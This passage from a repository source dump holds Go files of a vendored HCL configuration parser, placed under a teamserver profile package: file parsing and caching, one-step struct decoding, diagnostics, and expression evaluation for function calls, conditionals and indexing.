}\n}\n\n// ParseHCL parses the given buffer (which is assumed to have been loaded from\n// the given filename) as a native-syntax configuration file and returns the\n// hcl.File object representing it.\nfunc (p *Parser) ParseHCL(src []byte, filename string) (*hcl.File, hcl.Diagnostics) {\n    if existing := p.files[filename]; existing != nil {\n        return existing, nil\n    }\n\n    file, diags := hclsyntax.ParseConfig(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1})\n    p.files[filename] = file\n    return file, diags\n}\n\n// ParseHCLFile reads the given filename and parses it as a native-syntax HCL\n// configuration file. An error diagnostic is returned if the given file\n// cannot be read.\nfunc (p *Parser) ParseHCLFile(filename string) (*hcl.File, hcl.Diagnostics) {\n    if existing := p.files[filename]; existing != nil {\n        return existing, nil\n    }\n\n    src, err := ioutil.ReadFile(filename)\n    if err != nil {\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Failed to read file\",\n                Detail:   fmt.Sprintf(\"The configuration file %q could not be read.\", filename),\n            },\n        }\n    }\n\n    return p.ParseHCL(src, filename)\n}\n\n// ParseJSON parses the given JSON buffer (which is assumed to have been loaded\n// from the given filename) and returns the hcl.File object representing it.\nfunc (p *Parser) ParseJSON(src []byte, filename string) (*hcl.File, hcl.Diagnostics) {\n    if existing := p.files[filename]; existing != nil {\n        return existing, nil\n    }\n\n    file, diags := json.Parse(src, filename)\n    p.files[filename] = file\n    return file, diags\n}\n\n// ParseJSONFile reads the given filename and parses it as JSON, similarly to\n// ParseJSON. An error diagnostic is returned if the given file cannot be read.\nfunc (p *Parser) ParseJSONFile(filename string) (*hcl.File, hcl.Diagnostics) {\n    if existing := p.files[filename]; existing != nil {\n        return existing, nil\n    }\n\n    file, diags := json.ParseFile(filename)\n    p.files[filename] = file\n    return file, diags\n}\n\n// AddFile allows a caller to record in a parser a file that was parsed some\n// other way, thus allowing it to be included in the registry of sources.\nfunc (p *Parser) AddFile(filename string, file *hcl.File) {\n    p.files[filename] = file\n}\n\n// Sources returns a map from filenames to the raw source code that was\n// read from them. This is intended to be used, for example, to print\n// diagnostics with contextual information.\n//\n// The arrays underlying the returned slices should not be modified.\nfunc (p *Parser) Sources() map[string][]byte {\n    ret := make(map[string][]byte)\n    for fn, f := range p.files {\n        ret[fn] = f.Bytes\n    }\n    return ret\n}\n\n// Files returns a map from filenames to the File objects produced from them.\n// This is intended to be used, for example, to print diagnostics with\n// contextual information.\n//\n// The returned map and all of the objects it refers to directly or indirectly\n// must not be modified.\nfunc (p *Parser) Files() map[string]*hcl.File {\n    return p.files\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsimple/hclsimple.go",
    "content": "// Package hclsimple is a higher-level entry point for loading HCL\n// configuration files directly into Go struct values in a single step.\n//\n// This package is more opinionated than the rest of the HCL API. See the\n// documentation for function Decode for more information.\npackage hclsimple\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\n\t\"Havoc/pkg/profile/yaotl\"\n\t\"Havoc/pkg/profile/yaotl/gohcl\"\n\t\"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\n// Decode parses, decodes, and evaluates expressions in the given HCL source\n// code, in a single step.\n//\n// The main HCL API is built to allow applications that need to decompose\n// the processing steps into a pipeline, with different tasks done by\n// different parts of the program: parsing the source code into an abstract\n// representation, analysing the block structure, evaluating expressions,\n// and then extracting the results into a form consumable by the rest of\n// the program.\n//\n// This function does all of those steps in one call, going directly from\n// source code to a populated Go struct value.\n//\n// The \"filename\" and \"src\" arguments describe the input configuration. The\n// filename is used to add source location context to any returned error\n// messages and its suffix will choose one of the two supported syntaxes:\n// \".hcl\" for native syntax, and \".json\" for HCL JSON. The src must therefore\n// contain a sequence of bytes that is valid for the selected syntax.\n//\n// The \"ctx\" argument provides variables and functions for use during\n// expression evaluation. Applications that need no variables nor functions\n// can just pass nil.\n//\n// The \"target\" argument must be a pointer to a value of a struct type,\n// with struct tags as defined by the sibling package \"gohcl\".\n//\n// The return type is error but any non-nil error is guaranteed to be\n// type-assertable to hcl.Diagnostics for applications that wish to access\n// the full error details.\n//\n// This is a very opinionated function that is intended to serve the needs of\n// applications that are just using HCL for simple configuration and don't\n// need detailed control over the decoding process. Because this function is\n// just wrapping functionality elsewhere, if it doesn't meet your needs then\n// please consider copying it into your program and adapting it as needed.\nfunc Decode(filename string, src []byte, ctx *hcl.EvalContext, target interface{}) error {\n\tvar file *hcl.File\n\tvar diags hcl.Diagnostics\n\n\tfile, diags = hclsyntax.ParseConfig(src, filename, hcl.Pos{Line: 1, Column: 1})\n\tif diags.HasErrors() {\n\t\treturn diags\n\t}\n\n\tdiags = gohcl.DecodeBody(file.Body, ctx, target)\n\tif diags.HasErrors() {\n\t\treturn diags\n\t}\n\n\treturn nil\n}\n\n// DecodeFile is a wrapper around Decode that first reads the given filename\n// from disk. See the Decode documentation for more information.\nfunc DecodeFile(filename string, ctx *hcl.EvalContext, target interface{}) error {\n\tsrc, err := ioutil.ReadFile(filename)\n\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn hcl.Diagnostics{\n\t\t\t\t{\n\t\t\t\t\tSeverity: hcl.DiagError,\n\t\t\t\t\tSummary:  \"Configuration file not found\",\n\t\t\t\t\tDetail:   fmt.Sprintf(\"The configuration file %s does not exist.\", filename),\n\t\t\t\t},\n\t\t\t}\n\t\t}\n\n\t\treturn hcl.Diagnostics{\n\t\t\t{\n\t\t\t\tSeverity: hcl.DiagError,\n\t\t\t\tSummary:  \"Failed to read configuration\",\n\t\t\t\tDetail:   fmt.Sprintf(\"Can't read %s: %s.\", filename, err),\n\t\t\t},\n\t\t}\n\t}\n\n\treturn Decode(filename, src, ctx, target)\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/diagnostics.go",
    "content": "package hclsyntax\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// setDiagEvalContext is an internal helper that will impose a particular\n// EvalContext on a set of diagnostics in-place, for any diagnostic that\n// does not already have an EvalContext set.\n//\n// We generally expect diagnostics to be immutable, but this is safe to use\n// on any Diagnostics where none of the contained Diagnostic objects have yet\n// been seen by a caller. Its purpose is to apply additional context to a\n// set of diagnostics produced by a \"deeper\" component as the stack unwinds\n// during expression evaluation.\nfunc setDiagEvalContext(diags hcl.Diagnostics, expr hcl.Expression, ctx *hcl.EvalContext) {\n    for _, diag := range diags {\n        if diag.Expression == nil {\n            diag.Expression = expr\n            diag.EvalContext = ctx\n        }\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/didyoumean.go",
    "content": "package hclsyntax\n\nimport (\n\t\"github.com/agext/levenshtein\"\n)\n\n// nameSuggestion tries to find a name from the given slice of suggested names\n// that is close to the given name and returns it if found. If no suggestion\n// is close enough, returns the empty string.\n//\n// The suggestions are tried in order, so earlier suggestions take precedence\n// if the given string is similar to two or more suggestions.\n//\n// This function is intended to be used with a relatively-small number of\n// suggestions. It's not optimized for hundreds or thousands of them.\nfunc nameSuggestion(given string, suggestions []string) string {\n\tfor _, suggestion := range suggestions {\n\t\tdist := levenshtein.Distance(given, suggestion, nil)\n\t\tif dist < 3 { // threshold determined experimentally\n\t\t\treturn suggestion\n\t\t}\n\t}\n\treturn \"\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/doc.go",
    "content": "// Package hclsyntax contains the parser, AST, etc for HCL's native language,\n// as opposed to the JSON variant.\n//\n// In normal use applications should rarely depend on this package directly,\n// instead preferring the higher-level interface of the main hcl package and\n// its companion package hclparse.\npackage hclsyntax\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/expression.go",
    "content": "package hclsyntax\n\nimport (\n    \"fmt\"\n    \"sync\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/ext/customdecode\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/convert\"\n    \"github.com/zclconf/go-cty/cty/function\"\n)\n\n// Expression is the abstract type for nodes that behave as HCL expressions.\ntype Expression interface {\n    Node\n\n    // The hcl.Expression methods are duplicated here, rather than simply\n    // embedded, because both Node and hcl.Expression have a Range method\n    // and so they conflict.\n\n    Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics)\n    Variables() []hcl.Traversal\n    StartRange() hcl.Range\n}\n\n// Assert that Expression implements hcl.Expression\nvar assertExprImplExpr hcl.Expression = Expression(nil)\n\n// ParenthesesExpr represents an expression written in grouping\n// parentheses.\n//\n// The parser takes care of the precedence effect of the parentheses, so the\n// only purpose of this separate expression node is to capture the source range\n// of the parentheses themselves, rather than the source range of the\n// expression within. All of the other expression operations just pass through\n// to the underlying expression.\ntype ParenthesesExpr struct {\n    Expression\n    SrcRange hcl.Range\n}\n\nvar _ hcl.Expression = (*ParenthesesExpr)(nil)\n\nfunc (e *ParenthesesExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *ParenthesesExpr) walkChildNodes(w internalWalkFunc) {\n    // We override the walkChildNodes from the embedded Expression to\n    // ensure that both the parentheses _and_ the content are visible\n    // in a walk.\n    w(e.Expression)\n}\n\n// LiteralValueExpr is an expression that just always returns a given value.\ntype LiteralValueExpr struct {\n    Val      cty.Value\n    SrcRange hcl.Range\n}\n\nfunc (e *LiteralValueExpr) walkChildNodes(w internalWalkFunc) {\n    // Literal values have no child nodes\n}\n\nfunc (e *LiteralValueExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    return e.Val, nil\n}\n\nfunc (e *LiteralValueExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *LiteralValueExpr) StartRange() hcl.Range {\n    return e.SrcRange\n}\n\n// Implementation for hcl.AbsTraversalForExpr.\nfunc (e *LiteralValueExpr) AsTraversal() hcl.Traversal {\n    // This one's a little weird: the contract for AsTraversal is to interpret\n    // an expression as if it were traversal syntax, and traversal syntax\n    // doesn't have the special keywords \"null\", \"true\", and \"false\" so these\n    // are expected to be treated like variables in that case.\n    // Since our parser already turned them into LiteralValueExpr by the time\n    // we get here, we need to undo this and infer the name that would've\n    // originally led to our value.\n    // We don't do anything for any other values, since they don't overlap\n    // with traversal roots.\n\n    if e.Val.IsNull() {\n        // In practice the parser only generates null values of the dynamic\n        // pseudo-type for literals, so we can safely assume that any null\n        // was originally the keyword \"null\".\n        return hcl.Traversal{\n            hcl.TraverseRoot{\n                Name:     \"null\",\n                SrcRange: e.SrcRange,\n            },\n        }\n    }\n\n    switch e.Val {\n    case cty.True:\n        return hcl.Traversal{\n            hcl.TraverseRoot{\n                Name:     \"true\",\n                SrcRange: e.SrcRange,\n            },\n        }\n    case cty.False:\n        return hcl.Traversal{\n            hcl.TraverseRoot{\n                Name:     \"false\",\n                SrcRange: e.SrcRange,\n            },\n        }\n    default:\n        // No traversal is possible for any other value.\n        return nil\n    }\n}\n\n// ScopeTraversalExpr is an Expression that retrieves a value from the scope\n// using a traversal.\ntype ScopeTraversalExpr struct {\n    Traversal hcl.Traversal\n    SrcRange  hcl.Range\n}\n\nfunc (e *ScopeTraversalExpr) walkChildNodes(w internalWalkFunc) {\n    // Scope traversals have no child nodes\n}\n\nfunc (e *ScopeTraversalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    val, diags := e.Traversal.TraverseAbs(ctx)\n    setDiagEvalContext(diags, e, ctx)\n    return val, diags\n}\n\nfunc (e *ScopeTraversalExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *ScopeTraversalExpr) StartRange() hcl.Range {\n    return e.SrcRange\n}\n\n// Implementation for hcl.AbsTraversalForExpr.\nfunc (e *ScopeTraversalExpr) AsTraversal() hcl.Traversal {\n    return e.Traversal\n}\n\n// RelativeTraversalExpr is an Expression that retrieves a value from another\n// value using a _relative_ traversal.\ntype RelativeTraversalExpr struct {\n    Source    Expression\n    Traversal hcl.Traversal\n    SrcRange  hcl.Range\n}\n\nfunc (e *RelativeTraversalExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.Source)\n}\n\nfunc (e *RelativeTraversalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    src, diags := e.Source.Value(ctx)\n    ret, travDiags := e.Traversal.TraverseRel(src)\n    setDiagEvalContext(travDiags, e, ctx)\n    diags = append(diags, travDiags...)\n    return ret, diags\n}\n\nfunc (e *RelativeTraversalExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *RelativeTraversalExpr) StartRange() hcl.Range {\n    return e.SrcRange\n}\n\n// Implementation for hcl.AbsTraversalForExpr.\nfunc (e *RelativeTraversalExpr) AsTraversal() hcl.Traversal {\n    // We can produce a traversal only if our source can.\n    st, diags := hcl.AbsTraversalForExpr(e.Source)\n    if diags.HasErrors() {\n        return nil\n    }\n\n    ret := make(hcl.Traversal, len(st)+len(e.Traversal))\n    copy(ret, st)\n    copy(ret[len(st):], e.Traversal)\n    return ret\n}\n\n// FunctionCallExpr is an Expression that calls a function from the EvalContext\n// and returns its result.\ntype FunctionCallExpr struct {\n    Name string\n    Args []Expression\n\n    // If true, the final argument should be a tuple, list or set which will\n    // expand to be one argument per element.\n    ExpandFinal bool\n\n    NameRange       hcl.Range\n    OpenParenRange  hcl.Range\n    CloseParenRange hcl.Range\n}\n\nfunc (e *FunctionCallExpr) walkChildNodes(w internalWalkFunc) {\n    for _, arg := range e.Args {\n        w(arg)\n    }\n}\n\nfunc (e *FunctionCallExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    var f function.Function\n    exists := false\n    hasNonNilMap := false\n    thisCtx := ctx\n    for thisCtx != nil {\n        if thisCtx.Functions == nil {\n            thisCtx = thisCtx.Parent()\n            continue\n        }\n        hasNonNilMap = true\n        f, exists = thisCtx.Functions[e.Name]\n        if exists {\n            break\n        }\n        thisCtx = thisCtx.Parent()\n    }\n\n    if !exists {\n        if !hasNonNilMap {\n            return cty.DynamicVal, hcl.Diagnostics{\n                {\n                    Severity:    hcl.DiagError,\n                    Summary:     \"Function calls not allowed\",\n                    Detail:      \"Functions may not be called here.\",\n                    Subject:     e.Range().Ptr(),\n                    Expression:  e,\n                    EvalContext: ctx,\n                },\n            }\n        }\n\n        avail := make([]string, 0, len(ctx.Functions))\n        for name := range ctx.Functions {\n            avail = append(avail, name)\n        }\n        suggestion := nameSuggestion(e.Name, avail)\n        if suggestion != \"\" {\n            suggestion = fmt.Sprintf(\" Did you mean %q?\", suggestion)\n        }\n\n        return cty.DynamicVal, hcl.Diagnostics{\n            {\n                Severity:    hcl.DiagError,\n                Summary:     \"Call to unknown function\",\n                Detail:      fmt.Sprintf(\"There is no function named %q.%s\", e.Name, suggestion),\n                Subject:     &e.NameRange,\n                Context:     e.Range().Ptr(),\n                Expression:  e,\n                EvalContext: ctx,\n            },\n        }\n    }\n\n    params := f.Params()\n    varParam := f.VarParam()\n\n    args := e.Args\n    if e.ExpandFinal {\n        if len(args) < 1 {\n            // should never happen if the parser is behaving\n            panic(\"ExpandFinal set on function call with no arguments\")\n        }\n        expandExpr := args[len(args)-1]\n        expandVal, expandDiags := expandExpr.Value(ctx)\n        diags = append(diags, expandDiags...)\n        if expandDiags.HasErrors() {\n            return cty.DynamicVal, diags\n        }\n\n        switch {\n        case expandVal.Type().Equals(cty.DynamicPseudoType):\n            if expandVal.IsNull() {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity:    hcl.DiagError,\n                    Summary:     \"Invalid expanding argument value\",\n                    Detail:      \"The expanding argument (indicated by ...) must not be null.\",\n                    Subject:     expandExpr.Range().Ptr(),\n                    Context:     e.Range().Ptr(),\n                    Expression:  expandExpr,\n                    EvalContext: ctx,\n                })\n                return cty.DynamicVal, diags\n            }\n            return cty.DynamicVal, diags\n        case expandVal.Type().IsTupleType() || expandVal.Type().IsListType() || expandVal.Type().IsSetType():\n            if expandVal.IsNull() {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity:    hcl.DiagError,\n                    Summary:     \"Invalid expanding argument value\",\n                    Detail:      \"The expanding argument (indicated by ...) must not be null.\",\n                    Subject:     expandExpr.Range().Ptr(),\n                    Context:     e.Range().Ptr(),\n                    Expression:  expandExpr,\n                    EvalContext: ctx,\n                })\n                return cty.DynamicVal, diags\n            }\n            if !expandVal.IsKnown() {\n                return cty.DynamicVal, diags\n            }\n\n            // When expanding arguments from a collection, we must first unmark\n            // the collection itself, and apply any marks directly to the\n            // elements. This ensures that marks propagate correctly.\n            expandVal, marks := expandVal.Unmark()\n            newArgs := make([]Expression, 0, (len(args)-1)+expandVal.LengthInt())\n            newArgs = append(newArgs, args[:len(args)-1]...)\n            it := expandVal.ElementIterator()\n            for it.Next() {\n                _, val := it.Element()\n                newArgs = append(newArgs, &LiteralValueExpr{\n                    Val:      val.WithMarks(marks),\n                    SrcRange: expandExpr.Range(),\n                })\n            }\n            args = newArgs\n        default:\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Invalid expanding argument value\",\n                Detail:      \"The expanding argument (indicated by ...) must be of a tuple, list, or set type.\",\n                Subject:     expandExpr.Range().Ptr(),\n                Context:     e.Range().Ptr(),\n                Expression:  expandExpr,\n                EvalContext: ctx,\n            })\n            return cty.DynamicVal, diags\n        }\n    }\n\n    if len(args) < len(params) {\n        missing := params[len(args)]\n        qual := \"\"\n        if varParam != nil {\n            qual = \" at least\"\n        }\n        return cty.DynamicVal, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Not enough function arguments\",\n                Detail: fmt.Sprintf(\n                    \"Function %q expects%s %d argument(s). Missing value for %q.\",\n                    e.Name, qual, len(params), missing.Name,\n                ),\n                Subject:     &e.CloseParenRange,\n                Context:     e.Range().Ptr(),\n                Expression:  e,\n                EvalContext: ctx,\n            },\n        }\n    }\n\n    if varParam == nil && len(args) > len(params) {\n        return cty.DynamicVal, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Too many function arguments\",\n                Detail: fmt.Sprintf(\n                    \"Function %q expects only %d argument(s).\",\n                    e.Name, len(params),\n                ),\n                Subject:     args[len(params)].StartRange().Ptr(),\n                Context:     e.Range().Ptr(),\n                Expression:  e,\n                EvalContext: ctx,\n            },\n        }\n    }\n\n    argVals := make([]cty.Value, len(args))\n\n    for i, argExpr := range args {\n        var param *function.Parameter\n        if i < len(params) {\n            param = &params[i]\n        } else {\n            param = varParam\n        }\n\n        var val cty.Value\n        if decodeFn := customdecode.CustomExpressionDecoderForType(param.Type); decodeFn != nil {\n            var argDiags hcl.Diagnostics\n            val, argDiags = decodeFn(argExpr, ctx)\n            diags = append(diags, argDiags...)\n            if val == cty.NilVal {\n                val = cty.UnknownVal(param.Type)\n            }\n        } else {\n            var argDiags hcl.Diagnostics\n            val, argDiags = argExpr.Value(ctx)\n            if len(argDiags) > 0 {\n                diags = append(diags, argDiags...)\n            }\n\n            // Try to convert our value to the parameter type\n            var err error\n            val, err = convert.Convert(val, param.Type)\n            if err != nil {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid function argument\",\n                    Detail: fmt.Sprintf(\n                        \"Invalid value for %q parameter: %s.\",\n                        param.Name, err,\n                    ),\n                    Subject:     argExpr.StartRange().Ptr(),\n                    Context:     e.Range().Ptr(),\n                    Expression:  argExpr,\n                    EvalContext: ctx,\n                })\n            }\n        }\n\n        argVals[i] = val\n    }\n\n    if diags.HasErrors() {\n        // Don't try to execute the function if we already have errors with\n        // the arguments, because the result will probably be a confusing\n        // error message.\n        return cty.DynamicVal, diags\n    }\n\n    resultVal, err := f.Call(argVals)\n    if err != nil {\n        switch terr := err.(type) {\n        case function.ArgError:\n            i := terr.Index\n            var param *function.Parameter\n            if i < len(params) {\n                param = &params[i]\n            } else {\n                param = varParam\n            }\n\n            if param == nil || i > len(args)-1 {\n                // Getting here means that the function we called has a bug:\n                // it returned an arg error that refers to an argument index\n                // that wasn't present in the call. For that situation\n                // we'll degrade to a less specific error just to give\n                // some sort of answer, but best to still fix the buggy\n                // function so that it only returns argument indices that\n                // are in range.\n                switch {\n                case param != nil:\n                    // In this case we'll assume that the function was trying\n                    // to talk about a final variadic parameter but the caller\n                    // didn't actually provide any arguments for it. That means\n                    // we can at least still name the parameter in the\n                    // error message, but our source range will be the call\n                    // as a whole because we don't have an argument expression\n                    // to highlight specifically.\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid function argument\",\n                        Detail: fmt.Sprintf(\n                            \"Invalid value for %q parameter: %s.\",\n                            param.Name, err,\n                        ),\n                        Subject:     e.Range().Ptr(),\n                        Expression:  e,\n                        EvalContext: ctx,\n                    })\n                default:\n                    // This is the most degenerate case of all, where the\n                    // index is out of range even for the declared parameters,\n                    // and so we can't tell which parameter the function is\n                    // trying to report an error for. Just a generic error\n                    // report in that case.\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Error in function call\",\n                        Detail: fmt.Sprintf(\n                            \"Call to function %q failed: %s.\",\n                            e.Name, err,\n                        ),\n                        Subject:     e.StartRange().Ptr(),\n                        Context:     e.Range().Ptr(),\n                        Expression:  e,\n                        EvalContext: ctx,\n                    })\n                }\n            } else {\n                argExpr := args[i]\n\n                // TODO: we should also unpick a PathError here and show the\n                // path to the deep value where the error was detected.\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid function argument\",\n                    Detail: fmt.Sprintf(\n                        \"Invalid value for %q parameter: %s.\",\n                        param.Name, err,\n                    ),\n                    Subject:     argExpr.StartRange().Ptr(),\n                    Context:     e.Range().Ptr(),\n                    Expression:  argExpr,\n                    EvalContext: ctx,\n                })\n            }\n\n        default:\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Error in function call\",\n                Detail: fmt.Sprintf(\n                    \"Call to function %q failed: %s.\",\n                    e.Name, err,\n                ),\n                Subject:     e.StartRange().Ptr(),\n                Context:     e.Range().Ptr(),\n                Expression:  e,\n                EvalContext: ctx,\n            })\n        }\n\n        return cty.DynamicVal, diags\n    }\n\n    return resultVal, diags\n}\n\nfunc (e *FunctionCallExpr) Range() hcl.Range {\n    return hcl.RangeBetween(e.NameRange, e.CloseParenRange)\n}\n\nfunc (e *FunctionCallExpr) StartRange() hcl.Range {\n    return hcl.RangeBetween(e.NameRange, e.OpenParenRange)\n}\n\n// Implementation for hcl.ExprCall.\nfunc (e *FunctionCallExpr) ExprCall() *hcl.StaticCall {\n    ret := &hcl.StaticCall{\n        Name:      e.Name,\n        NameRange: e.NameRange,\n        Arguments: make([]hcl.Expression, len(e.Args)),\n        ArgsRange: hcl.RangeBetween(e.OpenParenRange, e.CloseParenRange),\n    }\n    // Need to convert our own Expression objects into hcl.Expression.\n    for i, arg := range e.Args {\n        ret.Arguments[i] = arg\n    }\n    return ret\n}\n\ntype ConditionalExpr struct {\n    Condition   Expression\n    TrueResult  Expression\n    FalseResult Expression\n\n    SrcRange hcl.Range\n}\n\nfunc (e *ConditionalExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.Condition)\n    w(e.TrueResult)\n    w(e.FalseResult)\n}\n\nfunc (e *ConditionalExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    trueResult, trueDiags := e.TrueResult.Value(ctx)\n    falseResult, falseDiags := e.FalseResult.Value(ctx)\n    var diags hcl.Diagnostics\n\n    resultType := cty.DynamicPseudoType\n    convs := make([]convert.Conversion, 2)\n\n    switch {\n    // If either case is a dynamic null value (which would result from a\n    // literal null in the config), we know that it can convert to the expected\n    // type of the opposite case, and we don't need to speculatively reduce the\n    // final result type to DynamicPseudoType.\n\n    // If we know that either Type is a DynamicPseudoType, we can be certain\n    // that the other value can convert since it's a pass-through, and we don't\n    // need to unify the types. If the final evaluation results in the dynamic\n    // value being returned, there's no conversion we can do, so we return the\n    // value directly.\n    case trueResult.RawEquals(cty.NullVal(cty.DynamicPseudoType)):\n        resultType = falseResult.Type()\n        convs[0] = convert.GetConversionUnsafe(cty.DynamicPseudoType, resultType)\n    case falseResult.RawEquals(cty.NullVal(cty.DynamicPseudoType)):\n        resultType = trueResult.Type()\n        convs[1] = convert.GetConversionUnsafe(cty.DynamicPseudoType, resultType)\n    case trueResult.Type() == cty.DynamicPseudoType, falseResult.Type() == cty.DynamicPseudoType:\n        // the final resultType type is still unknown\n        // we don't need to get the conversion, because both are a noop.\n\n    default:\n        // Try to find a type that both results can be converted to.\n        resultType, convs = convert.UnifyUnsafe([]cty.Type{trueResult.Type(), falseResult.Type()})\n    }\n\n    if resultType == cty.NilType {\n        return cty.DynamicVal, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Inconsistent conditional result types\",\n                Detail: fmt.Sprintf(\n                    // FIXME: Need a helper function for showing natural-language type diffs,\n                    // since this will generate some useless messages in some cases, like\n                    // \"These expressions are object and object respectively\" if the\n                    // object types don't exactly match.\n                    \"The true and false result expressions must have consistent types. The given expressions are %s and %s, respectively.\",\n                    trueResult.Type().FriendlyName(), falseResult.Type().FriendlyName(),\n                ),\n                Subject:     hcl.RangeBetween(e.TrueResult.Range(), e.FalseResult.Range()).Ptr(),\n                Context:     &e.SrcRange,\n                Expression:  e,\n                EvalContext: ctx,\n            },\n        }\n    }\n\n    condResult, condDiags := e.Condition.Value(ctx)\n    diags = append(diags, condDiags...)\n    if condResult.IsNull() {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Null condition\",\n            Detail:      \"The condition value is null. Conditions must either be true or false.\",\n            Subject:     e.Condition.Range().Ptr(),\n            Context:     &e.SrcRange,\n            Expression:  e.Condition,\n            EvalContext: ctx,\n        })\n        return cty.UnknownVal(resultType), diags\n    }\n    if !condResult.IsKnown() {\n        return cty.UnknownVal(resultType), diags\n    }\n    condResult, err := convert.Convert(condResult, cty.Bool)\n    if err != nil {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Incorrect condition type\",\n            Detail:      fmt.Sprintf(\"The condition expression must be of type bool.\"),\n            Subject:     e.Condition.Range().Ptr(),\n            Context:     &e.SrcRange,\n            Expression:  e.Condition,\n            EvalContext: ctx,\n        })\n        return cty.UnknownVal(resultType), diags\n    }\n\n    // Unmark result before testing for truthiness\n    condResult, _ = condResult.UnmarkDeep()\n    if condResult.True() {\n        diags = append(diags, trueDiags...)\n        if convs[0] != nil {\n            var err error\n            trueResult, err = convs[0](trueResult)\n            if err != nil {\n                // Unsafe conversion failed with the concrete result value\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Inconsistent conditional result types\",\n                    Detail: fmt.Sprintf(\n                        \"The true result value has the wrong type: %s.\",\n                        err.Error(),\n                    ),\n                    Subject:     e.TrueResult.Range().Ptr(),\n                    Context:     &e.SrcRange,\n                    Expression:  e.TrueResult,\n                    EvalContext: ctx,\n                })\n                trueResult = cty.UnknownVal(resultType)\n            }\n        }\n        return trueResult, diags\n    } else {\n        diags = append(diags, falseDiags...)\n        if convs[1] != nil {\n            var err error\n            falseResult, err = convs[1](falseResult)\n            if err != nil {\n                // Unsafe conversion failed with the concrete result value\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Inconsistent conditional result types\",\n                    Detail: fmt.Sprintf(\n                        \"The false result value has the wrong type: %s.\",\n                        err.Error(),\n                    ),\n                    Subject:     e.FalseResult.Range().Ptr(),\n                    Context:     &e.SrcRange,\n                    Expression:  e.FalseResult,\n                    EvalContext: ctx,\n                })\n                falseResult = cty.UnknownVal(resultType)\n            }\n        }\n        return falseResult, diags\n    }\n}\n\nfunc (e *ConditionalExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *ConditionalExpr) StartRange() hcl.Range {\n    return e.Condition.StartRange()\n}\n\ntype IndexExpr struct {\n    Collection Expression\n    Key        Expression\n\n    SrcRange     hcl.Range\n    OpenRange    hcl.Range\n    BracketRange hcl.Range\n}\n\nfunc (e *IndexExpr) walkChildNodes(w internalWalkFunc) {\n    w(e.Collection)\n    w(e.Key)\n}\n\nfunc (e *IndexExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n    coll, collDiags := e.Collection.Value(ctx)\n    key, keyDiags := e.Key.Value(ctx)\n    diags = append(diags, collDiags...)\n    diags = append(diags, keyDiags...)\n\n    val, indexDiags := hcl.Index(coll, key, &e.BracketRange)\n    setDiagEvalContext(indexDiags, e, ctx)\n    diags = append(diags, indexDiags...)\n    return val, diags\n}\n\nfunc (e *IndexExpr) Range() hcl.Range {\n    return e.SrcRange\n}\n\nfunc (e *IndexExpr) StartRange() hcl.Range {\n    return e.OpenRange\n}\n\ntype TupleConsExpr struct {\n    Exprs []Expression\n\n    SrcRange  hcl.Range\n    OpenRange hcl.Range\n}\n\nfunc (e *TupleConsExpr) walkChildNodes(w internalWalkFunc) {\n    for _, expr := range e.Exprs {\n        w(expr)\n    }\n}\n\nfunc (e *TupleConsExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    var vals []cty.Value\n    var diags hcl.Diagnostics\n\n    vals = make([]cty.Value, len(e.Exprs))\n    for i, expr := range e.Exprs {\n        val, valDiags := expr.Value(ctx)\n        vals[i] = val\n        diags = append(diags, valDiags...)\n    